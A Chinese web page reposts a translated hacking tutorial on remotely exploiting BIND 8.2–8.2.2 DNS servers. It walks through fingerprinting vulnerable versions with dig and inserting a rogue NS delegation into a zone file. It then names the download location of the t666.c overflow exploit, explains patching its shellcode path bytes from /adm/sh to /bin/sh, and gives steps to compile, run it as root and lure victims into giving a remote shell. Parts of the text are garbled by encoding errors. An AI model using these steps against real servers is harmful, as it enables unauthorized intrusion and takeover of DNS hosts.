最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 正文

DNS攻击方法

来源:动视网 责编:小OO 时间:2025-09-24 10:04:48
文档

DNS攻击方法

DNS BIND 8.2 - 8.2.2  远程攻击教程 Writed By e-Mind Quanslated By Redp0wer http://www.red.sunsnet.com (A) 什么是DNS      1.如何查询DNS      2.怎样找到一个有漏洞的DNS       1. How do I query a DNS?       2. How do I find a vulnerable DNS? (B) 怎样编辑DNS入口       1.找到zone文件    
推荐度:
导读DNS BIND 8.2 - 8.2.2  远程攻击教程 Writed By e-Mind Quanslated By Redp0wer http://www.red.sunsnet.com (A) 什么是DNS      1.如何查询DNS      2.怎样找到一个有漏洞的DNS       1. How do I query a DNS?       2. How do I find a vulnerable DNS? (B) 怎样编辑DNS入口       1.找到zone文件    
DNS BIND 8.2 - 8.2.2  远程攻击教程 

Writed By e-Mind 

Quanslated By Redp0wer 

http://www.red.sunsnet.com 

(A) 什么是DNS 

     1.如何查询DNS 

     2.怎样找到一个有漏洞的DNS 

      1. How do I query a DNS? 

      2. How do I find a vulnerable DNS? 

(B) 怎样编辑DNS入口 

      1.找到zone文件 

      2.编辑zone文件 

(C) 如何攻击 

      1. 攻击前具备的 

      2. 原理 

      3. 得到攻击程序 

      4.我们为什么修补攻击程序 

      5. 如何修补 

      6. 编译 

      7. 运行 

      8. 如何让被攻击者中招 

      9. 收工 

第一部分 什么是DNS 

   DNS是 域名服务器(Domain Name Server)的缩写 , 用来转换 host name 到 ip地址 

,或?

把 Ip地址转换成 host name 

 例如: www.infoseek.com = 204.162.96.173 

1. 我怎样询问一个DNS 

 第一步,你应该可能知道 当你使用TCP/IP,希望用一个host name而不是IP以便于在你 

的浏 

 器中看到这个host 的网页.你就应该用到一台DNS server了,你可以得到你的DNS serv 

er和 

IP地址, 从你的ISP那里. 现在你想知道你用的DNS server 是什么吗. NT或者UNIX系统 

我们 

梢允褂 命令 nslookup看查看, 当然,我们也可以这样 : 

NSLOOKUP  

NSLOOKUP  

  一个通常的DNS server中的一个域名包括两个 列表,叫做Zone 文件. 一个Zone文件 

用来 

治?hostname 到 ip, 另一个用来分析IP到hostname. nslookup 命令是交互式的.这样 

,我 

强梢 更有力地来用它,当你打下 nslookup时, 你将会得到一个">"的提示符. 用来让你 

打?

IP或者HOSTNAME,让它来转换. 我们还有一些命令用来得到更多信息,我们呆会讨论 

它. 

      2. 怎样找到一个有漏洞的系统. 

 我们首先要知道DNS server的运行的版本,也要知道操作系统的版本.我们可以用 dig工 

具, 

ig是一个很有用的工具在UNIX系统上,它的句法如下 

 $dig @ version.bind chaos txt | grep \\"8 

现在,你看看输出,如果有8.2 或者 8.2.1 或者 8.2.2,那么它是有漏洞的,如果你看到 

8.2. 

P2 - P5,那么,是没有漏洞的,如果你什么也没有看到,那么可能网管已经把DNS的信息改 

过了 

所以它不显示给你,它可能存在漏洞 . 

第二部分  编辑DNS入口 

  首先你要知道,DNS只是文本文件,通过编辑这些文本文件,然后重新启动服务,入口被加 

入?

者改变. 主要控制DNS服务的文件是 /etc/named.conf 或者 /etc/named.boot 

如果 /etc/named.conf 存在, 那就是我们要用的东西. 

       1.怎样找到Zone 文件. 

         As I said earlier, a properly configured DNS has two "lists" or zon 

和我先前所说的一样,通常使用的DNS有两个列表或者 Zone文件来转换每个域名, 我们要 

编?

那个ZONE文件,改变或者增加一个域名的入口. 例如,infoseek.com,它的hostname是 

www, 它 

腇QDN是www.infoseek.com. FQDN的意思是完全域名. 为了找到infoseek.com转换完全域 

名 

絠p的 Zone 文件,我们先要询问一下我们的DNS,来知道infoseek.com主要的DNS 是什么 

         $nslookup 

         Default Server:  xxxxxx.xxxxxxx.xx.xx 

         Address:  xxx.xx.xx.xx 

         >set q=ns 

         >infoseek.com 

         >infoseek.com      nameserver = NS-UU.infoseek.com 

         >NS-UU.infoseek.com    internet address = 198.5.208.3 

好了,你看到了,现在我们有了infoseek DNS的ip,现在我们假设我们是那里的root. 

登陆上那台域名服务器,然后找到/etc/named.conf. 我们可以看到文件的顶端有 一行字 

.这 

 实是属性选项. 它是: 

         directory "/var/named" 

         This means, that the zone files will sit in /var/named. 

代表zone文件就在 /var/named. 让我们在看下去.  我们还可以看到一些zone选项. 

我们可以看到infoseek.com 的: 

         zone "infoseek.com"{ 

              type master; 

              file "infoseek.com.zone"; 

         }; 

   好啦,现在我们知道zone文件就是 /var/named/infoseek.com.zone, 它也就是我们要 

编?

的! 

2.怎么来编辑一个zone文件 

首先,让我们来看看那个zone文件. 

我们可以再顶部看到一个 SOA 记录,  别管这堆垃圾. 

然后,我们可以看到一些东西 象这样: 

         @                 IN     NS      NS-UU.infoseek.com. 

         www               IN     A       204.192.96.173 

         ftp               IN     CNAME   corp-bbn 

         corp-bbn          IN     A       204.192.96.2 

         . 

         . 

         . 

 我们可以看到,有好几种不同的类型,我要需要的是 NS , A类型是象征意义的hostname 

 转?

 ip, CNAME其实也是 A的一种代替. 还有PTR 是指针型, 和 A型反一下,把 Ip转换 

成 hostn 

me,PTR其实也很有用,但我们这里先不讨论他. NS类型就是告诉我们 什么是 服务器的 

 DNS 

  你可能已经注意到了,在 NS类型的后面NS-UU.infoseek.com ,结束有个 " . " 如果我 

们?

有这个 " . " 它就会把 hostname加在后面,也就是说,就成了: 

 NS-UU.infoseek.com.infoseek.com. 

这样.我们就知道, A类型里的 www ,后面没有点,其实它代表是的 www.infoseek.com 

好了,现在我们要做的就是加入一条 NS类型. 我们再次假设我们是NS-UU.infoseek.com 

的root. 

我们加入: 

         subdomain              IN      NS      hacker.box.com. 

这代表, subdomain.infoseek.com 这个域名是 hacker.box.com 

 hacker.box.com needs to be resolved to a your machine's IP address, soenter 

 you 

 FQDN instead. 

        现在,我们需要重起一下. 

         #/usr/sbin/ndc restart 

         new pid is 24654 

         # 

Section C - How do I exploit a vulnerable machine 

------------------------------------------------- 

第三部分 如何攻击一个漏洞系统. 

1. 攻击前要具备的. 

第一 要有3个以上脑细胞. :) 

第二 你需要一个root权限在一台UNIX上,运行exploit.还有,需要 一台DNS root的权限 

,以?

编辑zone文件. 

2. 原理 

 exploit用一个DNS BIND 8.2 - 8.2.2远程溢出来获得一个remote shell.exploit将绑 

顶53 

丝?充当一个DNS server,当有人查询的时候,它将发出一个巨大的NXT记录.里面还有代 

码,?

致漏洞server溢出. 

如果想知道 详细溢出的原理,请参考Aleph One的文章: 

         URL: http://www.phrack.com/search.phtml?view&article=p49-14 

3. 攻击程序从这里得到 

         http://www.hack.co.za/daem0n/named/t666.c 

4 为什么我们要改一下攻击程序. 

因为这个exploit是Adm写的,他认为只有他们的人才可以用这个exploit,所以在code里面 

做?

点手脚, 溢出以后,他运行的是 /adm/sh 而不是/bin/sh 

      5. 我们要改哪里 

看下面: 

         / = 2F(HEX)   ===>  / = 2F(HEX) 

         a = 61(HEX)   ===>  b = 62(HEX) 

         d = (HEX)   ===>  i = 69(HEX) 

         m = 6D(HEX)   ===>  n = 6E(HEX) 

         / = 2F(HEX)   ===>  / = 2F(HEX) 

把adm改成bin就可以了. 

所以我们只要把0x2f,0x61,0x,0x6d,0x2f 替换成 0x2f,0x62,0x69,0x6e,0x2f.就可以 

了. 

      6. 编译 

现在我们假设在hacker.box.com上 

         $gcc t666.c -o t666 

         $ 

      7. 运行 

         $su 

         Password: 

         #./t666 1 

现在,exploit绑定了 53端口,如果你本来就在运行 DNS服务,请先关掉它. 

 #killall -9 named 

exploit就开始等待请求了, 如果有请求过来, 它就会显示 

         Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx typ 

e=1 

如果他是Dns server,它就进入一个死循环去了.如果它是Linux Redhat 6.x    - name 

d 8. 

/8.2.1 ,我们就可以得到这台倒霉机器的shell啦! 至于为什么要是 Rh6.x系统,还记得 

我刚 

 的命令吗? ./t666 1  我选的是1,是rh6.x 你也可以选别的,请打 ./t666 你将看到一 

张漏 

 系统表表. 

8. 怎么才能让漏洞机器来询问我的exploit呢 

现在,就用到刚才我们加进去的zone文件了. 

         $nslookup 

         >server  

         >www.subdomain.infoseek.com 

victim 这台机器就会询问 www.subdomain.infoseek.com,www.subdomain.infoseek.co 

其实指向的是 hacker.box.com 

那么,笨笨victim就去到hacker.box.com来查询,exploit工作....BOOM~~~~~ 

      9. 收工 

现在, 它的named完蛋了,还等什么呢,进去后门吧..... < ;

文档

DNS攻击方法

DNS BIND 8.2 - 8.2.2  远程攻击教程 Writed By e-Mind Quanslated By Redp0wer http://www.red.sunsnet.com (A) 什么是DNS      1.如何查询DNS      2.怎样找到一个有漏洞的DNS       1. How do I query a DNS?       2. How do I find a vulnerable DNS? (B) 怎样编辑DNS入口       1.找到zone文件    
推荐度:
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top